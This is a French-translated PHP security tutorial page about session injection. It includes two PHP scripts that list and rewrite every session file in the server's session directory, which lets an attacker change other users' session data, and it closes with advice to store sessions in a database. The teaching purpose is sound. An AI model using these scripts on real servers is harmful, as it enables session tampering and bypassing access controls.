Sécurité PHP - Injection de session

黄舟
Libérer: 2023-03-05 20:46:02
original
1082 Les gens l'ont consulté



Séance d'injection

Un problème similaire à l’exposition de session est l’injection de session. Ce type d'attaque repose sur le fait que votre serveur WEB dispose non seulement d'autorisations de lecture sur le répertoire de stockage de la session, mais également d'autorisations d'écriture. Par conséquent, il est possible d'écrire un script permettant à d'autres utilisateurs d'ajouter, de modifier ou de supprimer des sessions. L'exemple suivant montre un formulaire HTML qui permet aux utilisateurs de modifier facilement les données de session existantes :

<?php
 
  session_start();
 
  ?>
 
  <form action="inject.php" method="POST">
 
  <?php
 
  $path = ini_get(&#39;session.save_path&#39;);
  $handle = dir($path);
 
  while ($filename = $handle->read())
  {
    if (substr($filename, 0, 5) == &#39;sess_&#39;)
    {
      $sess_data =
file_get_contents("$path/$filename");
 
      if (!empty($sess_data))
      {
        session_decode($sess_data);
        $sess_data = $_SESSION;
        $_SESSION = array();
 
        $sess_name = substr($filename, 5);
        $sess_name = htmlentities($sess_name,
ENT_QUOTES, &#39;UTF-8&#39;);
        echo "<h1>Session
[$sess_name]</h1>";
 
        foreach ($sess_data as $name =>
$value)
        {
          $name = htmlentities($name, ENT_QUOTES,
&#39;UTF-8&#39;);
          $value = htmlentities($value, ENT_QUOTES,
&#39;UTF-8&#39;);
          echo "<p>
                $name:
                <input type=\"text\"
                name=\"{$sess_name}[{$name}]\"
                value=\"$value\" />
                </p>";
        }
 
        echo &#39;<br />&#39;;
      }
    }
  }
 
  $handle->close();
 
  ?>
 
  <input type="submit" />
  </form>
Copier après la connexion


Le script inject.php effectue les modifications précisées par le formulaire :

 <?php
 
  session_start();
 
  $path = ini_get(&#39;session.save_path&#39;);
 
  foreach ($_POST as $sess_name =>
$sess_data)
  {
    $_SESSION = $sess_data;
    $sess_data = session_encode;
 
    file_put_contents("$path/$sess_name",
$sess_data);
  }
 
  $_SESSION = array();
 
  ?>
Copier après la connexion


De telles attaques sont extrêmement dangereuses. Un attaquant peut modifier non seulement les données de vos utilisateurs, mais également ses propres données de session. Il est plus puissant que le détournement de session car l'attaquant peut sélectionner toutes les données de session à modifier, permettant ainsi de contourner les restrictions d'accès et autres mesures de sécurité.

La meilleure solution à ce problème est de sauvegarder les données de session dans une base de données. Voir indiqué dans la section précédente.


Ce qui précède est le contenu de l'injection de session de sécurité PHP. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn). !


Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal